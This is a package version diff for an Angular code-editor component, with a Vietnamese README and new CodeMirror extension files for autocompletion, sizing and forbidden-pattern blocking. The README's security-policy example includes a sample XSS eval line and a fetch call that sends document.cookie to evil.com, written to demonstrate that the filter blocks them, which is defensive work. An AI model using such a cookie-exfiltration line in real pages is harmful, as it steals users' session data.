@libs-ui/components-preview-text-data 0.2.357-0 → 0.2.357-10

package/README.md

@@ -62,220 +62,363 @@ import {
 
 ## Ví dụ sử dụng
 
-### 1. Chế độ xem (Read-only) — ẩn thanh công cụ
+### 1. Chế độ Xem (Read-only)
 
-```typescript
-// my-viewer.component.ts
-import { ChangeDetectionStrategy, Component } from '@angular/core';
-import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
+Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
 
-@Component({
-  selector: 'app-my-viewer',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="configCode"
-      [langSelected]="'json'"
-      [hiddenAction]="true"
-      background="#fcfcfc" />
-  `,
-})
-export class MyViewerComponent {
-  readonly configCode = `{
-  "projectName": "Libs UI",
-  "version": "2.0.0",
-  "features": ["Signals", "CodeMirror", "OnPush"]
+```html
+<libs_ui-components-preview_text_data
+  [content]="readonlyCode"
+  [langSelected]="'javascript'"
+  [hiddenAction]="true"
+  background="#fcfcfc" />
+```
+
+```typescript
+readonly readonlyCode = `/* Standalone Code Preview */
+function checkStandards(component) {
+  return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
 }`;
-}
 ```
 
-### 2. Chế độ chỉnh sửa với Linter và đổi ngôn ngữ
+---
+
+### 2. Chế độ Chỉnh sửa & Linter
+
+Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
+
+```html
+<div class="flex flex-col gap-4">
+  <libs_ui-components-preview_text_data
+    [content]="jsonContent"
+    [(langSelected)]="editableLang"
+    [editable]="true"
+    [langsAccept]="['json', 'javascript', 'sql']"
+    (syntaxErrors)="onSyntaxErrors($event)" />
+
+  @if (linterErrors().length) {
+    <div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
+      Error: {{ linterErrors()[0].message }}
+    </div>
+  }
+</div>
+```
 
 ```typescript
-// sql-editor.component.ts
 import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
-import {
-  LibsUiComponentsPreviewTextDataComponent,
-  IPreviewTextDataChange,
-  PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
-} from '@libs-ui/components-preview-text-data';
+import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
 import { Diagnostic } from '@codemirror/lint';
 
-@Component({
-  selector: 'app-sql-editor',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="sqlQuery"
-      [(langSelected)]="currentLang"
-      [editable]="true"
-      [langsAccept]="['sql', 'javascript', 'json']"
-      (outChange)="handlerChange($event)"
-      (syntaxErrors)="handlerSyntaxErrors($event)" />
-
-    @if (lintErrors().length) {
-      <div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
-        Lỗi cú pháp: {{ lintErrors()[0].message }}
-      </div>
-    }
-  `,
-})
-export class SqlEditorComponent {
-  readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
-  readonly lintErrors = signal<Diagnostic[]>([]);
-  readonly sqlQuery = `SELECT id, name, email
-FROM users
-WHERE status = 'active'
-ORDER BY created_at DESC
-LIMIT 50;`;
-
-  handlerChange(event: IPreviewTextDataChange): void {
-    event.stopPropagation?.();
-    console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
-  }
+// [content]="jsonContent" — nội dung JSON mẫu ban đầu
+readonly jsonContent = `{
+  "projectName": "Libs UI",
+  "version": "1.0.0",
+  "features": ["Signals", "CodeMirror", "Standalone"],
+  "isBmadCompliant": true
+}`;
 
-  handlerSyntaxErrors(errors: Diagnostic[]): void {
-    this.lintErrors.set(errors);
-  }
+// [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
+readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
+
+// linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
+readonly linterErrors = signal<Diagnostic[]>([]);
+
+// Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
+onSyntaxErrors(errors: Diagnostic[]): void {
+  this.linterErrors.set(errors);
 }
 ```
 
-### 3. IntelliSense với dot-notation (giống IDE)
+---
+
+### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
+
+Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="''"
+  [(langSelected)]="codeInputLang"
+  [editable]="true"
+  [langsAccept]="['javascript', 'python']"
+  [minLines]="10"
+  [maxLines]="20" />
+```
 
 ```typescript
-// js-intellisense.component.ts
-import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
-import {
-  LibsUiComponentsPreviewTextDataComponent,
-  IPreviewTextDataCompletionItem,
-  PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
-} from '@libs-ui/components-preview-text-data';
+import { signal } from '@angular/core';
+import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
 
-@Component({
-  selector: 'app-js-intellisense',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="starterCode"
-      [(langSelected)]="lang"
-      [editable]="true"
-      [completions]="completions"
-      background="#fafbfc" />
-  `,
-})
-export class JsIntelliSenseComponent {
-  readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+// Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
+// minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
+readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+```
+
+---
+
+### 4. Editor tự fit theo container (min/max-height)
+
+Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
+
+```html
+<!-- #boxRef là template ref tới div container -->
+<div #boxRef class="min-h-[120px] max-h-[300px]">
+  <libs_ui-components-preview_text_data
+    [content]="''"
+    [(langSelected)]="codeContainerLang"
+    [editable]="true"
+    [langsAccept]="['javascript', 'python']"
+    [containerElement]="boxRef" />
+</div>
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// Bọc editor trong div có min/max-height, truyền chính element đó vào.
+// Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
+readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+```
 
-  readonly starterCode = `// Gõ "user." hoặc "config." để xem gợi ý
-function process() {
-  const name = user.
-  const url = config.
+---
+
+### 5. JavaScript — IntelliSense với Object có sẵn
+
+Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="jsStarterCode"
+  [(langSelected)]="jsAutocompleteLang"
+  [editable]="true"
+  [completions]="jsCompletions"
+  background="#fafbfc" />
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
+readonly jsStarterCode = `function printUserInfo() {
+  const userName = user.
+  const baseUrl = config.
+  return db.
 }`;
 
-  readonly completions: IPreviewTextDataCompletionItem[] = [
-    {
-      label: 'user',
-      type: 'variable',
-      detail: 'object',
-      info: 'User object — thông tin người dùng hiện tại',
-      properties: [
-        { label: 'id',    type: 'property', detail: 'number', info: 'Unique user ID' },
-        { label: 'name',  type: 'property', detail: 'string', info: 'Họ và tên đầy đủ' },
-        { label: 'email', type: 'property', detail: 'string', info: 'Địa chỉ email' },
-        { label: 'role',  type: 'property', detail: "'admin' | 'user'", info: 'Vai trò trong hệ thống' },
-        { label: 'logout', type: 'method', detail: '() => Promise<void>', info: 'Đăng xuất tài khoản' },
-      ],
-    },
-    {
-      label: 'config',
-      type: 'variable',
-      detail: 'object',
-      info: 'Application configuration',
-      properties: [
-        { label: 'apiUrl',  type: 'property', detail: 'string', info: 'Base URL của API server' },
-        { label: 'timeout', type: 'property', detail: 'number', info: 'Request timeout (ms)' },
-        { label: 'debug',   type: 'property', detail: 'boolean', info: 'Bật debug logging' },
-      ],
-    },
-  ];
-}
+// [(langSelected)]="jsAutocompleteLang"
+readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+
+// [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
+readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
+  {
+    label: 'user',
+    type: 'variable',
+    detail: 'object',
+    properties: [
+      { label: 'id',    type: 'property', detail: 'number' },
+      { label: 'name',  type: 'property', detail: 'string' },
+      { label: 'email', type: 'property', detail: 'string' },
+      { label: 'role',  type: 'property', detail: "'admin'|'user'" },
+      { label: 'logout', type: 'method', detail: '() => Promise<void>' },
+    ],
+  },
+  {
+    label: 'config',
+    type: 'variable',
+    detail: 'object',
+    properties: [
+      { label: 'apiUrl',  type: 'property', detail: 'string' },
+      { label: 'timeout', type: 'property', detail: 'number' },
+      { label: 'debug',   type: 'property', detail: 'boolean' },
+    ],
+  },
+  // ... object "db" tương tự (host, port, query(), connect(), transaction()...)
+];
 ```
 
-### 4. Security policy — chặn pattern nguy hiểm
+---
+
+### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
+
+Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="jsDeepStarterCode"
+  [(langSelected)]="jsDeepAutocompleteLang"
+  [editable]="true"
+  [completions]="jsDeepCompletions"
+  background="#fafbfc" />
+```
 
 ```typescript
-// secure-editor.component.ts
-import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
-import {
-  LibsUiComponentsPreviewTextDataComponent,
-  DEFAULT_SECURITY_PATTERNS,
-  IPreviewTextDataViolation,
-  PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
-} from '@libs-ui/components-preview-text-data';
+import { signal } from '@angular/core';
+import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
+readonly jsDeepStarterCode = `function buildUserCard() {
+  const ctx = app.
+  const avatar = app.user.profile.
+  const lat = app.user.profile.address.geo.
+  return app.services.auth.
+}`;
 
-@Component({
-  selector: 'app-secure-editor',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="starterCode"
-      [(langSelected)]="lang"
-      [editable]="true"
-      [forbiddenPatterns]="securityPatterns"
-      (outViolations)="handlerViolations($event)"
-      background="#fafbfc" />
-
-    @if (violations().length) {
-      <div class="p-3 bg-red-50 border border-red-200 rounded mt-2">
-        <p class="text-sm font-semibold text-red-700 mb-1">
-          Phát hiện {{ violations().length }} vi phạm bảo mật:
-        </p>
-        @for (v of violations(); track v.from) {
-          <p class="text-xs text-red-600 font-mono">
-            Dòng {{ v.line }}: "{{ v.matched }}" — vi phạm pattern {{ v.pattern }}
-          </p>
-        }
-      </div>
-    }
-  `,
-})
-export class SecureEditorComponent {
-  readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
-  readonly violations = signal<IPreviewTextDataViolation[]>([]);
-  readonly securityPatterns = DEFAULT_SECURITY_PATTERNS;
+// [(langSelected)]="jsDeepAutocompleteLang"
+readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+
+// [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
+// Gõ "app." → user, config, services
+// Gõ "app.user.profile.address." → city, country, geo
+readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
+  {
+    label: 'app',
+    type: 'variable',
+    detail: 'AppContext',
+    properties: [
+      {
+        label: 'user',
+        type: 'property',
+        detail: 'User',
+        properties: [
+          { label: 'id',   type: 'property', detail: 'number' },
+          { label: 'name', type: 'property', detail: 'string' },
+          {
+            label: 'profile',
+            type: 'property',
+            detail: 'Profile',
+            properties: [
+              { label: 'avatar', type: 'property', detail: 'string' },
+              { label: 'bio',    type: 'property', detail: 'string' },
+              {
+                label: 'address',
+                type: 'property',
+                detail: 'Address',
+                properties: [
+                  { label: 'city',    type: 'property', detail: 'string' },
+                  { label: 'country', type: 'property', detail: 'string' },
+                  {
+                    label: 'geo',
+                    type: 'property',
+                    detail: 'GeoPoint',
+                    properties: [
+                      { label: 'lat', type: 'property', detail: 'number' },
+                      { label: 'lng', type: 'property', detail: 'number' },
+                    ],
+                  },
+                ],
+              },
+            ],
+          },
+        ],
+      },
+      // ...config, services tương tự (mỗi cấp có 'properties' riêng)
+    ],
+  },
+];
+```
 
-  readonly starterCode = `// Code thuần — không gọi API hay truy cập storage
-function calculateTotal(items) {
-  return items.reduce((sum, item) => sum + item.price * item.qty, 0);
-}
-// Thử gõ: eval("test") hoặc localStorage.getItem('key')
-// → sẽ bị highlight đỏ và chặn paste`;
+---
 
-  handlerViolations(violations: IPreviewTextDataViolation[]): void {
-    this.violations.set(violations);
-  }
-}
+### 7. Python — IntelliSense với Class/Object
+
+Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="pyStarterCode"
+  [(langSelected)]="pyAutocompleteLang"
+  [editable]="true"
+  [completions]="pyCompletions"
+  background="#fafbfc" />
 ```
 
-### 5. Chỉ cho phép một ngôn ngữ cố định (không hiển thị dropdown)
+```typescript
+import { signal } from '@angular/core';
+import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
+readonly pyStarterCode = `def handle_request():
+    server = config.
+    data = request.
+    logger.
+    return server`;
+
+// [(langSelected)]="pyAutocompleteLang"
+readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
+
+// [completions]="pyCompletions"
+readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
+  {
+    label: 'config',
+    type: 'class',
+    detail: 'class Config',
+    properties: [
+      { label: 'host',   type: 'property', detail: 'str' },
+      { label: 'port',   type: 'property', detail: 'int' },
+      { label: 'debug',  type: 'property', detail: 'bool' },
+      { label: 'to_dict', type: 'method', detail: '() -> dict' },
+    ],
+  },
+  // ... object "request" tương tự (method, url, headers, json()...)
+  {
+    label: 'logger',
+    type: 'variable',
+    detail: 'Logger',
+    properties: [
+      { label: 'info',    type: 'method', detail: '(msg: str) -> None' },
+      { label: 'error',   type: 'method', detail: '(msg: str) -> None' },
+      { label: 'warning', type: 'method', detail: '(msg: str) -> None' },
+    ],
+  },
+];
+```
+
+---
+
+### 8. Security Policy — Forbidden Patterns
+
+Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
 
 ```html
-<!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
 <libs_ui-components-preview_text_data
-  [content]="jsonData"
-  [(langSelected)]="lang"
+  [content]="securityStarterCode"
+  [(langSelected)]="securityLang"
   [editable]="true"
-  [langsAccept]="['json']" />
+  [forbiddenPatterns]="defaultSecurityPatterns"
+  (outViolations)="onSecurityViolations($event)"
+  background="#fafbfc" />
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
+readonly securityStarterCode = `function calculateTotal(items) {
+  return items.reduce((sum, item) => sum + item.price * item.qty, 0);
+}
+// Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
+// eval("alert('xss')")
+// fetch('https://evil.com/steal?data=' + document.cookie)`;
+
+// [(langSelected)]="securityLang"
+readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+
+// [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
+readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
+
+// (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
+readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
+
+onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
+  this.securityViolations.set(violations);
+}
 ```
 
+> ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
+
 ## @Input()
 
 | Input | Type | Default | Mô tả | Ví dụ |
@@ -290,6 +433,10 @@ function calculateTotal(items) {
 | `[forbiddenPatterns]` | `T_ForbiddenPattern[]` | `[]` | Danh sách pattern bị cấm (string hoặc RegExp). Highlight đỏ khi gõ, chặn paste chứa vi phạm, phát ra `(outViolations)` | `[forbiddenPatterns]="DEFAULT_SECURITY_PATTERNS"` |
 | `[lintIgnorePatterns]` | `string[]` | `['Cannot use import statement...', 'Unexpected token export', 'import ', '@angular/core']` | Danh sách chuỗi lỗi linter JS sẽ bị bỏ qua (ignore) trong quá trình kiểm tra | `[lintIgnorePatterns]="['import ']"` |
 | `[background]` | `string` | `'#f8f9fa'` | Màu nền của vùng soạn thảo (CSS color value) | `background="#ffffff"` |
+| `[minLines]` | `number` | `undefined` | Số dòng tối thiểu. Nếu content ít dòng hơn sẽ tự bù dòng trống (xử lý 1 lần khi khởi tạo editor); đủ/nhiều hơn thì giữ nguyên, không cắt bớt | `[minLines]="10"` |
+| `[maxLines]` | `number` | `undefined` | Số dòng tối đa hiển thị. Vượt quá → editor giới hạn chiều cao và xuất hiện vùng cuộn (đo line-height thật khi khởi tạo) | `[maxLines]="20"` |
+| `[zIndexPopover]` | `number` | `undefined` | z-index cho popover dropdown chọn ngôn ngữ (dùng khi editor nằm trong modal/overlay có z-index cao) | `[zIndexPopover]="1500"` |
+| `[containerElement]` | `HTMLElement` | `undefined` | Element bọc ngoài (đã set `min-height`/`max-height` CSS). Editor snap số dòng theo container: `min-height` → bù dòng trống cho đủ (hiện line-number 1..N), `max-height` → giới hạn + scroll. **CẤM** dùng cùng `[minLines]`/`[maxLines]` (throw lỗi) | `[containerElement]="boxRef"` |
 
 ## @Output()
 
@@ -441,14 +588,6 @@ Các pattern được chặn:
 
 ⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
 
-## Demo
-
-```bash
-npx nx serve core-ui
-```
-
-Truy cập: http://localhost:4500/preview-text-data
-
 ## Unit Tests
 
 ```bash

package/editor/editor-completions.d.ts

@@ -0,0 +1,8 @@
+import { Extension } from '@codemirror/state';
+import { IPreviewTextDataCompletionItem } from '../preview-text-data.interfaces';
+/**
+ * Tạo extension autocomplete từ danh sách `items`:
+ * 1. Gõ `obj.` → gợi ý properties của obj (dot-notation).
+ * 2. Gõ ký tự → gợi ý tên biến/object top-level.
+ */
+export declare const buildCompletionExtension: (items: IPreviewTextDataCompletionItem[]) => Extension;

package/editor/editor-forbidden.d.ts

@@ -0,0 +1,8 @@
+import { Extension } from '@codemirror/state';
+import { IPreviewTextDataViolation, T_ForbiddenPattern } from '../preview-text-data.interfaces';
+/**
+ * Extension bảo mật gồm 2 layer:
+ * 1. Linter: highlight đỏ tại đúng vị trí match (bỏ qua match trong comment) + gọi `emitViolations`.
+ * 2. Transaction filter: chặn paste nếu nội dung paste chứa pattern cấm.
+ */
+export declare const buildForbiddenExtension: (patterns: T_ForbiddenPattern[], emitViolations: (violations: IPreviewTextDataViolation[]) => void) => Extension;

package/editor/editor-height.d.ts

@@ -0,0 +1,21 @@
+import { EditorView } from '@codemirror/view';
+/** Parse giá trị CSS px → number. Trả về undefined nếu không phải px hợp lệ (vd `none`, `0`). */
+export declare const parsePx: (raw: string) => number | undefined;
+/** Bù dòng trống cho đủ `minLines` (xử lý 1 lần khi khởi tạo). Đủ rồi giữ nguyên, không cắt bớt. */
+export declare const applyMinLines: (content: string, minLines?: number) => string;
+/**
+ * Tính min/max-height vùng cuộn theo CSS của container ngoài, snap về bội số dòng.
+ * Trừ offset phần header/toolbar (giữa đỉnh container và đỉnh vùng cuộn) để vừa khít container.
+ */
+export declare const applyContainerHeight: (view: EditorView, container: HTMLElement) => void;
+/**
+ * Giới hạn chiều cao editor (xử lý 1 lần). 2 chế độ loại trừ nhau:
+ * - `maxLines`: cap theo số dòng truyền vào.
+ * - `container`: tự tính số dòng theo `min-height`/`max-height` (CSS) của container, snap bội số dòng.
+ * Cấu hình đồng thời `container` + `minLines`/`maxLines` → throw.
+ */
+export declare const applyMaxHeight: (view: EditorView | undefined, options: {
+    minLines?: number;
+    maxLines?: number;
+    container?: HTMLElement;
+}) => void;

package/esm2022/editor/editor-completions.mjs

@@ -0,0 +1,36 @@
+import { autocompletion } from '@codemirror/autocomplete';
+/**
+ * Tạo extension autocomplete từ danh sách `items`:
+ * 1. Gõ `obj.` → gợi ý properties của obj (dot-notation).
+ * 2. Gõ ký tự → gợi ý tên biến/object top-level.
+ */
+export const buildCompletionExtension = (items) => {
+    const completionSource = (context) => {
+        // Cho phép path nhiều cấp (a.b.c.) — [\w.]+ bắt trọn chuỗi trước con trỏ.
+        const dotMatch = context.matchBefore(/[\w.]+\.\w*/);
+        if (dotMatch) {
+            const segments = dotMatch.text.split('.');
+            const partial = segments[segments.length - 1]; // phần đang gõ dở sau dấu '.' cuối
+            const pathSegments = segments.slice(0, -1); // các cấp đã hoàn tất
+            let current = items.find((item) => item.label === pathSegments[0]);
+            for (let level = 1; level < pathSegments.length && current; level++) {
+                current = current.properties?.find((property) => property.label === pathSegments[level]);
+            }
+            if (current?.properties?.length) {
+                return {
+                    from: context.pos - partial.length,
+                    options: current.properties.map((p) => ({ label: p.label, type: p.type ?? 'property', detail: p.detail ?? '', info: p.info ?? '' })),
+                };
+            }
+        }
+        const word = context.matchBefore(/\w*/);
+        if (!word || (word.from === word.to && !context.explicit))
+            return null;
+        return {
+            from: word.from,
+            options: items.map((item) => ({ label: item.label, type: item.type ?? 'variable', detail: item.detail ?? '', info: item.info ?? '' })),
+        };
+    };
+    return autocompletion({ override: [completionSource] });
+};
+//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZWRpdG9yLWNvbXBsZXRpb25zLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vLi4vLi4vLi4vbGlicy11aS9jb21wb25lbnRzL3ByZXZpZXctdGV4dC1kYXRhL3NyYy9lZGl0b3IvZWRpdG9yLWNvbXBsZXRpb25zLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sRUFBRSxjQUFjLEVBQXVDLE1BQU0sMEJBQTBCLENBQUM7QUFJL0Y7Ozs7R0FJRztBQUNILE1BQU0sQ0FBQyxNQUFNLHdCQUF3QixHQUFHLENBQUMsS0FBdUMsRUFBYSxFQUFFO0lBQzdGLE1BQU0sZ0JBQWdCLEdBQUcsQ0FBQyxPQUEwQixFQUEyQixFQUFFO1FBQy9FLDBFQUEwRTtRQUMxRSxNQUFNLFFBQVEsR0FBRyxPQUFPLENBQUMsV0FBVyxDQUFDLGFBQWEsQ0FBQyxDQUFDO1FBQ3BELElBQUksUUFBUSxFQUFFLENBQUM7WUFDYixNQUFNLFFBQVEsR0FBRyxRQUFRLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxHQUFHLENBQUMsQ0FBQztZQUMxQyxNQUFNLE9BQU8sR0FBRyxRQUFRLENBQUMsUUFBUSxDQUFDLE1BQU0sR0FBRyxDQUFDLENBQUMsQ0FBQyxDQUFDLG1DQUFtQztZQUNsRixNQUFNLFlBQVksR0FBRyxRQUFRLENBQUMsS0FBSyxDQUFDLENBQUMsRUFBRSxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUMsc0JBQXNCO1lBRWxFLElBQUksT0FBTyxHQUFHLEtBQUssQ0FBQyxJQUFJLENBQUMsQ0FBQyxJQUFJLEVBQUUsRUFBRSxDQUFDLElBQUksQ0FBQyxLQUFLLEtBQUssWUFBWSxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUM7WUFDbkUsS0FBSyxJQUFJLEtBQUssR0FBRyxDQUFDLEVBQUUsS0FBSyxHQUFHLFlBQVksQ0FBQyxNQUFNLElBQUksT0FBTyxFQUFFLEtBQUssRUFBRSxFQUFFLENBQUM7Z0JBQ3BFLE9BQU8sR0FBRyxPQUFPLENBQUMsVUFBVSxFQUFFLElBQUksQ0FBQyxDQUFDLFFBQVEsRUFBRSxFQUFFLENBQUMsUUFBUSxDQUFDLEtBQUssS0FBSyxZQUFZLENBQUMsS0FBSyxDQUFDLENBQUMsQ0FBQztZQUMzRixDQUFDO1lBQ0QsSUFBSSxPQUFPLEVBQUUsVUFBVSxFQUFFLE1BQU0sRUFBRSxDQUFDO2dCQUNoQyxPQUFPO29CQUNMLElBQUksRUFBRSxPQUFPLENBQUMsR0FBRyxHQUFHLE9BQU8sQ0FBQyxNQUFNO29CQUNsQyxPQUFPLEVBQUUsT0FBTyxDQUFDLFVBQVUsQ0FBQyxHQUFHLENBQUMsQ0FBQyxDQUFDLEVBQUUsRUFBRSxDQUFDLENBQUMsRUFBRSxLQUFLLEVBQUUsQ0FBQyxDQUFDLEtBQUssRUFBRSxJQUFJLEVBQUUsQ0FBQyxDQUFDLElBQUksSUFBSSxVQUFVLEVBQUUsTUFBTSxFQUFFLENBQUMsQ0FBQyxNQUFNLElBQUksRUFBRSxFQUFFLElBQUksRUFBRSxDQUFDLENBQUMsSUFBSSxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUM7aUJBQ3JJLENBQUM7WUFDSixDQUFDO1FBQ0gsQ0FBQztRQUNELE1BQU0sSUFBSSxHQUFHLE9BQU8sQ0FBQyxXQUFXLENBQUMsS0FBSyxDQUFDLENBQUM7UUFDeEMsSUFBSSxDQUFDLElBQUksSUFBSSxDQUFDLElBQUksQ0FBQyxJQUFJLEtBQUssSUFBSSxDQUFDLEVBQUUsSUFBSSxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUM7WUFBRSxPQUFPLElBQUksQ0FBQztRQUV2RSxPQUFPO1lBQ0wsSUFBSSxFQUFFLElBQUksQ0FBQyxJQUFJO1lBQ2YsT0FBTyxFQUFFLEtBQUssQ0FBQyxHQUFHLENBQUMsQ0FBQyxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUMsRUFBRSxLQUFLLEVBQUUsSUFBSSxDQUFDLEtBQUssRUFBRSxJQUFJLEVBQUUsSUFBSSxDQUFDLElBQUksSUFBSSxVQUFVLEVBQUUsTUFBTSxFQUFFLElBQUksQ0FBQyxNQUFNLElBQUksRUFBRSxFQUFFLElBQUksRUFBRSxJQUFJLENBQUMsSUFBSSxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUM7U0FDdkksQ0FBQztJQUNKLENBQUMsQ0FBQztJQUVGLE9BQU8sY0FBYyxDQUFDLEVBQUUsUUFBUSxFQUFFLENBQUMsZ0JBQWdCLENBQUMsRUFBRSxDQUFDLENBQUM7QUFDMUQsQ0FBQyxDQUFDIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgYXV0b2NvbXBsZXRpb24sIENvbXBsZXRpb25Db250ZXh0LCBDb21wbGV0aW9uUmVzdWx0IH0gZnJvbSAnQGNvZGVtaXJyb3IvYXV0b2NvbXBsZXRlJztcbmltcG9ydCB7IEV4dGVuc2lvbiB9IGZyb20gJ0Bjb2RlbWlycm9yL3N0YXRlJztcbmltcG9ydCB7IElQcmV2aWV3VGV4dERhdGFDb21wbGV0aW9uSXRlbSB9IGZyb20gJy4uL3ByZXZpZXctdGV4dC1kYXRhLmludGVyZmFjZXMnO1xuXG4vKipcbiAqIFThuqFvIGV4dGVuc2lvbiBhdXRvY29tcGxldGUgdOG7qyBkYW5oIHPDoWNoIGBpdGVtc2A6XG4gKiAxLiBHw7UgYG9iai5gIOKGkiBn4bujaSDDvSBwcm9wZXJ0aWVzIGPhu6dhIG9iaiAoZG90LW5vdGF0aW9uKS5cbiAqIDIuIEfDtSBrw70gdOG7sSDihpIgZ+G7o2kgw70gdMOqbiBiaeG6v24vb2JqZWN0IHRvcC1sZXZlbC5cbiAqL1xuZXhwb3J0IGNvbn